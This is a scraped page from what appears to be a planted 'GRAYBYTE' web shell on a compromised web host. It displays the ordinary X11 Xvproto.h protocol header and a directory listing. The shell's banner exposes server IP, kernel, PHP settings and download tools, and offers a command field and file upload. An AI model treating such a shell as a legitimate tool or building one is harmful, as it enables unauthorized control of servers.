GRAYBYTE WORDPRESS FILE MANAGER6769

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/include/X11/extensions/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/include/X11/extensions//Xvproto.h
/***********************************************************
Copyright 1991 by Digital Equipment Corporation, Maynard, Massachusetts,
and the Massachusetts Institute of Technology, Cambridge, Massachusetts.

                        All Rights Reserved

Permission to use, copy, modify, and distribute this software and its
documentation for any purpose and without fee is hereby granted,
provided that the above copyright notice appear in all copies and that
both that copyright notice and this permission notice appear in
supporting documentation, and that the names of Digital or MIT not be
used in advertising or publicity pertaining to distribution of the
software without specific, written prior permission.

DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
SOFTWARE.

******************************************************************/

#ifndef XVPROTO_H
#define XVPROTO_H
/*
** File:
**
**   Xvproto.h --- Xv protocol header file
**
** Author:
**
**   David Carver (Digital Workstation Engineering/Project Athena)
**
** Revisions:
**
**   11.06.91 Carver
**     - changed SetPortControl to SetPortAttribute
**     - changed GetPortControl to GetPortAttribute
**     - changed QueryBestSize
**
**   15.05.91 Carver
**     - version 2.0 upgrade
**
**   24.01.91 Carver
**     - version 1.4 upgrade
**
*/

#include <X11/Xmd.h>

/* Symbols: These are undefined at the end of this file to restore the
   values they have in Xv.h */

#define XvPortID CARD32
#define XvEncodingID CARD32
#define ShmSeg CARD32
#define VisualID CARD32
#define Drawable CARD32
#define GContext CARD32
#define Time CARD32
#define Atom CARD32

/* Structures */

typedef struct {
  INT32 numerator;
  INT32 denominator;
} xvRational;
#define sz_xvRational 8

typedef struct {
  XvPortID base_id;
  CARD16 name_size;
  CARD16 num_ports;
  CARD16 num_formats;
  CARD8 type;
  CARD8 pad;
} xvAdaptorInfo;
#define sz_xvAdaptorInfo 12

typedef struct {
  XvEncodingID encoding;
  CARD16 name_size;
  CARD16 width, height;
  CARD16 pad;
  xvRational rate;
} xvEncodingInfo;
#define sz_xvEncodingInfo (12 + sz_xvRational)

typedef struct {
  VisualID visual;
  CARD8 depth;
  CARD8 pad1;
  CARD16 pad2;
} xvFormat;
#define sz_xvFormat 8

typedef struct {
  CARD32 flags;
  INT32 min;
  INT32 max;
  CARD32 size;
} xvAttributeInfo;
#define sz_xvAttributeInfo 16

typedef struct {
  CARD32 id;
  CARD8 type;
  CARD8 byte_order;
  CARD16 pad1;
  CARD8 guid[16];
  CARD8 bpp;
  CARD8 num_planes;
  CARD16 pad2;
  CARD8 depth;
  CARD8 pad3;
  CARD16 pad4;
  CARD32 red_mask;
  CARD32 green_mask;
  CARD32 blue_mask;
  CARD8 format;
  CARD8 pad5;
  CARD16 pad6;
  CARD32 y_sample_bits;
  CARD32 u_sample_bits;
  CARD32 v_sample_bits;
  CARD32 horz_y_period;
  CARD32 horz_u_period;
  CARD32 horz_v_period;
  CARD32 vert_y_period;
  CARD32 vert_u_period;
  CARD32 vert_v_period;
  CARD8 comp_order[32];
  CARD8 scanline_order;
  CARD8 pad7;
  CARD16 pad8;
  CARD32 pad9;
  CARD32 pad10;
} xvImageFormatInfo;
#define sz_xvImageFormatInfo 128


/* Requests */

#define xv_QueryExtension                  0
#define	xv_QueryAdaptors                   1
#define	xv_QueryEncodings                  2
#define xv_GrabPort                        3
#define xv_UngrabPort                      4
#define xv_PutVideo                        5
#define xv_PutStill                        6
#define xv_GetVideo                        7
#define xv_GetStill                        8
#define xv_StopVideo                       9
#define xv_SelectVideoNotify              10
#define xv_SelectPortNotify               11
#define xv_QueryBestSize                  12
#define xv_SetPortAttribute               13
#define xv_GetPortAttribute               14
#define xv_QueryPortAttributes            15
#define xv_ListImageFormats               16
#define xv_QueryImageAttributes           17
#define xv_PutImage                       18
#define xv_ShmPutImage                    19
#define xv_LastRequest                    xv_ShmPutImage

#define xvNumRequests                     (xv_LastRequest + 1)

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
} xvQueryExtensionReq;
#define sz_xvQueryExtensionReq 4

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  CARD32 window;
} xvQueryAdaptorsReq;
#define sz_xvQueryAdaptorsReq 8

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  CARD32 port;
} xvQueryEncodingsReq;
#define sz_xvQueryEncodingsReq 8

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Drawable drawable;
  GContext gc;
  INT16 vid_x;
  INT16 vid_y;
  CARD16 vid_w;
  CARD16 vid_h;
  INT16 drw_x;
  INT16 drw_y;
  CARD16 drw_w;
  CARD16 drw_h;
} xvPutVideoReq;
#define sz_xvPutVideoReq 32

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Drawable drawable;
  GContext gc;
  INT16 vid_x;
  INT16 vid_y;
  CARD16 vid_w;
  CARD16 vid_h;
  INT16 drw_x;
  INT16 drw_y;
  CARD16 drw_w;
  CARD16 drw_h;
} xvPutStillReq;
#define sz_xvPutStillReq 32

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Drawable drawable;
  GContext gc;
  INT16 vid_x;
  INT16 vid_y;
  CARD16 vid_w;
  CARD16 vid_h;
  INT16 drw_x;
  INT16 drw_y;
  CARD16 drw_w;
  CARD16 drw_h;
} xvGetVideoReq;
#define sz_xvGetVideoReq 32

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Drawable drawable;
  GContext gc;
  INT16 vid_x;
  INT16 vid_y;
  CARD16 vid_w;
  CARD16 vid_h;
  INT16 drw_x;
  INT16 drw_y;
  CARD16 drw_w;
  CARD16 drw_h;
} xvGetStillReq;
#define sz_xvGetStillReq 32

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Time time;
} xvGrabPortReq;
#define sz_xvGrabPortReq 12

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Time time;
} xvUngrabPortReq;
#define sz_xvUngrabPortReq 12

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  Drawable drawable;
  BOOL onoff;
  CARD8 pad1;
  CARD16 pad2;
} xvSelectVideoNotifyReq;
#define sz_xvSelectVideoNotifyReq 12

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  BOOL onoff;
  CARD8 pad1;
  CARD16 pad2;
} xvSelectPortNotifyReq;
#define sz_xvSelectPortNotifyReq 12

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Drawable drawable;
} xvStopVideoReq;
#define sz_xvStopVideoReq 12

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Atom attribute;
  INT32 value;
} xvSetPortAttributeReq;
#define sz_xvSetPortAttributeReq 16

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Atom attribute;
} xvGetPortAttributeReq;
#define sz_xvGetPortAttributeReq 12

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  CARD16 vid_w;
  CARD16 vid_h;
  CARD16 drw_w;
  CARD16 drw_h;
  CARD8 motion;
  CARD8 pad1;
  CARD16 pad2;
} xvQueryBestSizeReq;
#define sz_xvQueryBestSizeReq 20

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
} xvQueryPortAttributesReq;
#define sz_xvQueryPortAttributesReq 8

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Drawable drawable;
  GContext gc;
  CARD32 id;
  INT16 src_x;
  INT16 src_y;
  CARD16 src_w;
  CARD16 src_h;
  INT16 drw_x;
  INT16 drw_y;
  CARD16 drw_w;
  CARD16 drw_h;
  CARD16 width;
  CARD16 height;
} xvPutImageReq;
#define sz_xvPutImageReq 40

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
  Drawable drawable;
  GContext gc;
  ShmSeg shmseg;
  CARD32 id;
  CARD32 offset;
  INT16 src_x;
  INT16 src_y;
  CARD16 src_w;
  CARD16 src_h;
  INT16 drw_x;
  INT16 drw_y;
  CARD16 drw_w;
  CARD16 drw_h;
  CARD16 width;
  CARD16 height;
  CARD8 send_event;
  CARD8 pad1;
  CARD16 pad2;
} xvShmPutImageReq;
#define sz_xvShmPutImageReq 52

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  XvPortID port;
} xvListImageFormatsReq;
#define sz_xvListImageFormatsReq 8

typedef struct {
  CARD8 reqType;
  CARD8 xvReqType;
  CARD16 length;
  CARD32 port;
  CARD32 id;
  CARD16 width;
  CARD16 height;
} xvQueryImageAttributesReq;
#define sz_xvQueryImageAttributesReq 16


/* Replies */

typedef struct _QueryExtensionReply {
  BYTE type;   /* X_Reply */
  CARD8 padb1;
  CARD16 sequenceNumber;
  CARD32 length;
  CARD16 version;
  CARD16 revision;
  CARD32 padl4;
  CARD32 padl5;
  CARD32 padl6;
  CARD32 padl7;
  CARD32 padl8;
} xvQueryExtensionReply;
#define sz_xvQueryExtensionReply 32

typedef struct _QueryAdaptorsReply {
  BYTE type;   /* X_Reply */
  CARD8 padb1;
  CARD16 sequenceNumber;
  CARD32 length;
  CARD16 num_adaptors;
  CARD16 pads3;
  CARD32 padl4;
  CARD32 padl5;
  CARD32 padl6;
  CARD32 padl7;
  CARD32 padl8;
} xvQueryAdaptorsReply;
#define sz_xvQueryAdaptorsReply 32

typedef struct _QueryEncodingsReply {
  BYTE type;   /* X_Reply */
  CARD8 padb1;
  CARD16 sequenceNumber;
  CARD32 length;
  CARD16 num_encodings;
  CARD16 padl3;
  CARD32 padl4;
  CARD32 padl5;
  CARD32 padl6;
  CARD32 padl7;
  CARD32 padl8;
} xvQueryEncodingsReply;
#define sz_xvQueryEncodingsReply 32

typedef struct {
  BYTE type;  /* X_Reply */
  BYTE result;
  CARD16 sequenceNumber;
  CARD32 length;  /* 0 */
  CARD32 padl3;
  CARD32 padl4;
  CARD32 padl5;
  CARD32 padl6;
  CARD32 padl7;
  CARD32 padl8;
} xvGrabPortReply;
#define sz_xvGrabPortReply 32

typedef struct {
  BYTE type;  /* X_Reply */
  BYTE padb1;
  CARD16 sequenceNumber;
  CARD32 length;  /* 0 */
  INT32 value;
  CARD32 padl4;
  CARD32 padl5;
  CARD32 padl6;
  CARD32 padl7;
  CARD32 padl8;
} xvGetPortAttributeReply;
#define sz_xvGetPortAttributeReply 32

typedef struct {
  BYTE type;  /* X_Reply */
  BYTE padb1;
  CARD16 sequenceNumber;
  CARD32 length;  /* 0 */
  CARD16 actual_width;
  CARD16 actual_height;
  CARD32 padl4;
  CARD32 padl5;
  CARD32 padl6;
  CARD32 padl7;
  CARD32 padl8;
} xvQueryBestSizeReply;
#define sz_xvQueryBestSizeReply 32

typedef struct {
  BYTE type;  /* X_Reply */
  BYTE padb1;
  CARD16 sequenceNumber;
  CARD32 length;  /* 0 */
  CARD32 num_attributes;
  CARD32 text_size;
  CARD32 padl5;
  CARD32 padl6;
  CARD32 padl7;
  CARD32 padl8;
} xvQueryPortAttributesReply;
#define sz_xvQueryPortAttributesReply 32

typedef struct {
  BYTE type;  /* X_Reply */
  BYTE padb1;
  CARD16 sequenceNumber;
  CARD32 length;
  CARD32 num_formats;
  CARD32 padl4;
  CARD32 padl5;
  CARD32 padl6;
  CARD32 padl7;
  CARD32 padl8;
} xvListImageFormatsReply;
#define sz_xvListImageFormatsReply 32

typedef struct {
  BYTE type;  /* X_Reply */
  BYTE padb1;
  CARD16 sequenceNumber;
  CARD32 length;
  CARD32 num_planes;
  CARD32 data_size;
  CARD16 width;
  CARD16 height;
  CARD32 padl6;
  CARD32 padl7;
  CARD32 padl8;
} xvQueryImageAttributesReply;
#define sz_xvQueryImageAttributesReply 32

/* DEFINE EVENT STRUCTURE */

typedef struct {
  union {
    struct {
      BYTE type;
      BYTE detail;
      CARD16 sequenceNumber;
    } u;
    struct {
      BYTE type;
      BYTE reason;
      CARD16 sequenceNumber;
      Time time;
      Drawable drawable;
      XvPortID port;
      CARD32 padl5;
      CARD32 padl6;
      CARD32 padl7;
      CARD32 padl8;
    } videoNotify;
    struct {
      BYTE type;
      BYTE padb1;
      CARD16 sequenceNumber;
      Time time;
      XvPortID port;
      Atom attribute;
      INT32 value;
      CARD32 padl6;
      CARD32 padl7;
      CARD32 padl8;
    } portNotify;
  } u;
} xvEvent;

#undef XvPortID
#undef XvEncodingID
#undef ShmSeg
#undef VisualID
#undef Drawable
#undef GContext
#undef Time
#undef Atom

#endif /* XVPROTO_H */


[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
September 26 2024 07:01:34
root / root
0755
EVI.h
1.526 KB
April 14 2020 15:29:25
root / root
0644
EVIproto.h
2.936 KB
April 14 2020 15:29:25
root / root
0644
XI.h
9.593 KB
April 14 2020 15:29:25
root / root
0644
XI2.h
10.295 KB
April 14 2020 15:29:25
root / root
0644
XI2proto.h
36.696 KB
April 14 2020 15:29:25
root / root
0644
XIproto.h
40.049 KB
April 14 2020 15:29:25
root / root
0644
XKB.h
27.55 KB
April 14 2020 15:29:25
root / root
0644
XKBgeom.h
15.438 KB
April 14 2020 15:29:25
root / root
0644
XKBproto.h
28.423 KB
April 14 2020 15:29:25
root / root
0644
XKBsrv.h
27.361 KB
April 14 2020 15:29:25
root / root
0644
XKBstr.h
19.17 KB
April 14 2020 15:29:25
root / root
0644
XResproto.h
5.047 KB
April 14 2020 15:29:25
root / root
0644
Xv.h
2.956 KB
April 14 2020 15:29:25
root / root
0644
XvMC.h
3.535 KB
April 14 2020 15:29:25
root / root
0644
XvMCproto.h
4.379 KB
April 14 2020 15:29:25
root / root
0644
Xvproto.h
11.825 KB
April 14 2020 15:29:25
root / root
0644
ag.h
1.665 KB
April 14 2020 15:29:25
root / root
0644
agproto.h
4.888 KB
April 14 2020 15:29:25
root / root
0644
bigreqsproto.h
1.864 KB
April 14 2020 15:29:25
root / root
0644
bigreqstr.h
0.183 KB
April 14 2020 15:29:25
root / root
0644
composite.h
3.057 KB
April 14 2020 15:29:25
root / root
0644
compositeproto.h
5.334 KB
April 14 2020 15:29:25
root / root
0644
cup.h
1.321 KB
April 14 2020 15:29:25
root / root
0644
cupproto.h
2.993 KB
April 14 2020 15:29:25
root / root
0644
damageproto.h
3.53 KB
April 14 2020 15:29:25
root / root
0644
damagewire.h
1.849 KB
April 14 2020 15:29:25
root / root
0644
dbe.h
2.108 KB
April 14 2020 15:29:25
root / root
0644
dbeproto.h
7.171 KB
April 14 2020 15:29:25
root / root
0644
dmx.h
2.317 KB
April 14 2020 15:29:25
root / root
0644
dmxproto.h
13.03 KB
April 14 2020 15:29:25
root / root
0644
dpmsconst.h
1.736 KB
April 14 2020 15:29:25
root / root
0644
dpmsproto.h
5.164 KB
April 14 2020 15:29:25
root / root
0644
dri2proto.h
8.123 KB
April 14 2020 15:29:25
root / root
0644
dri2tokens.h
2.41 KB
April 14 2020 15:29:25
root / root
0644
dri3proto.h
5.985 KB
April 14 2020 15:29:25
root / root
0644
ge.h
1.74 KB
April 14 2020 15:29:25
root / root
0644
geproto.h
2.296 KB
April 14 2020 15:29:25
root / root
0644
lbx.h
2.184 KB
April 14 2020 15:29:25
root / root
0644
lbxproto.h
24.201 KB
April 14 2020 15:29:25
root / root
0644
mitmiscconst.h
1.474 KB
April 14 2020 15:29:25
root / root
0644
mitmiscproto.h
2.177 KB
April 14 2020 15:29:25
root / root
0644
multibufconst.h
2.515 KB
April 14 2020 15:29:25
root / root
0644
multibufproto.h
8.398 KB
April 14 2020 15:29:25
root / root
0644
panoramiXproto.h
5.345 KB
April 14 2020 15:29:25
root / root
0644
presentproto.h
5.282 KB
April 14 2020 15:29:25
root / root
0644
presenttokens.h
3.513 KB
April 14 2020 15:29:25
root / root
0644
randr.h
6.747 KB
April 14 2020 15:29:25
root / root
0644
randrproto.h
25.147 KB
April 14 2020 15:29:25
root / root
0644
recordconst.h
2.016 KB
April 14 2020 15:29:25
root / root
0644
recordproto.h
7.455 KB
April 14 2020 15:29:25
root / root
0644
recordstr.h
0.252 KB
April 14 2020 15:29:25
root / root
0644
render.h
6.771 KB
April 14 2020 15:29:25
root / root
0644
renderproto.h
12.908 KB
April 14 2020 15:29:25
root / root
0644
saver.h
1.855 KB
April 14 2020 15:29:25
root / root
0644
saverproto.h
5.012 KB
April 14 2020 15:29:25
root / root
0644
secur.h
2.091 KB
April 14 2020 15:29:25
root / root
0644
securproto.h
3.103 KB
April 14 2020 15:29:25
root / root
0644
shapeconst.h
1.834 KB
April 14 2020 15:29:25
root / root
0644
shapeproto.h
6.572 KB
April 14 2020 15:29:25
root / root
0644
shapestr.h
0.246 KB
April 14 2020 15:29:25
root / root
0644
shm.h
1.606 KB
April 14 2020 15:29:25
root / root
0644
shmproto.h
5.903 KB
April 14 2020 15:29:25
root / root
0644
shmstr.h
2.073 KB
April 14 2020 15:29:25
root / root
0644
syncconst.h
6.592 KB
April 14 2020 15:29:25
root / root
0644
syncproto.h
10.743 KB
April 14 2020 15:29:25
root / root
0644
syncstr.h
5.475 KB
April 14 2020 15:29:25
root / root
0644
xcmiscproto.h
2.985 KB
April 14 2020 15:29:25
root / root
0644
xcmiscstr.h
0.181 KB
April 14 2020 15:29:25
root / root
0644
xf86bigfont.h
0.404 KB
April 14 2020 15:29:25
root / root
0644
xf86bigfproto.h
2.484 KB
April 14 2020 15:29:25
root / root
0644
xf86bigfstr.h
0.187 KB
April 14 2020 15:29:25
root / root
0644
xf86dga.h
0.36 KB
April 14 2020 15:29:25
root / root
0644
xf86dga1const.h
0.909 KB
April 14 2020 15:29:25
root / root
0644
xf86dga1proto.h
4.4 KB
April 14 2020 15:29:25
root / root
0644
xf86dga1str.h
0.187 KB
April 14 2020 15:29:25
root / root
0644
xf86dgaconst.h
2.474 KB
April 14 2020 15:29:25
root / root
0644
xf86dgaproto.h
6.939 KB
April 14 2020 15:29:25
root / root
0644
xf86dgastr.h
0.184 KB
April 14 2020 15:29:25
root / root
0644
xf86misc.h
3.81 KB
April 14 2020 15:29:25
root / root
0644
xf86mscstr.h
5.961 KB
April 14 2020 15:29:25
root / root
0644
xf86vm.h
2.057 KB
April 14 2020 15:29:25
root / root
0644
xf86vmproto.h
15.332 KB
April 14 2020 15:29:25
root / root
0644
xf86vmstr.h
0.181 KB
April 14 2020 15:29:25
root / root
0644
xfixesproto.h
12.453 KB
April 14 2020 15:29:25
root / root
0644
xfixeswire.h
5.27 KB
April 14 2020 15:29:25
root / root
0644
xtestconst.h
1.359 KB
April 14 2020 15:29:25
root / root
0644
xtestext1const.h
5.312 KB
April 14 2020 15:29:25
root / root
0644
xtestext1proto.h
7.607 KB
April 14 2020 15:29:25
root / root
0644
xtestproto.h
3.178 KB
April 14 2020 15:29:25
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF